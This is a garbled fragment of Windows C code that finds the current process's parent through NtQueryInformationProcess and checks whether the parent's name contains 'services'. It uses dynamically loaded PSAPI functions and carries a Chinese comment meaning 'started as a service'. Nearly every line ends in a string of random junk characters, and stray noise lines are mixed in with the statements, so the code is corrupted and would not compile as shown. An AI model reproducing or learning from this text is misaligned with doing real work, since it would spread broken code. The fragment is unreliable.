ULONG UniqueProcessId; -\2hSIXj
ULONG InheritedFromUniqueProcessId; e(Rbq8D
} PROCESS_BASIC_INFORMATION; %a!gN
%Rk DR
PROCNTQSIP NtQueryInformationProcess; :TkMS8
e9>~mtx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9+3 VK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Kaa{+,(
%^[D+1ULb
HANDLE hProcess; /O~Np|~v
PROCESS_BASIC_INFORMATION pbi; =Q*3\)7
}
|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <
pZwM
if(NULL == hInst ) return 0; s;-AZr)
lX"6m}~D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P~%+KxwZQ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &0xM 2J
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "uFwsjz&B
uaZHM@D
if (!NtQueryInformationProcess) return 0; 'c# }^@G
U>DCra;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uF<?y0t
if(!hProcess) return 0; ~0@fK<C)O
AWJA?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QQv%>=_`
SYa
O'c
CloseHandle(hProcess); %`YR+J/V
[2E(3`-u
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h`iOs>
if(hProcess==NULL) return 0; Hz)i.AA 4
u08QE,
HMODULE hMod; QWtDZ>
char procName[255]; (e0(GOqf4
unsigned long cbNeeded; KC)}Mzt6_
r-.>3J
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6@eF|GoP
:>U+HQll
CloseHandle(hProcess); E;[Uhh|78!
dT[JVl+3=
if(strstr(procName,"services")) return 1; // 以服务启动 ?'_6M4UKa
~H1<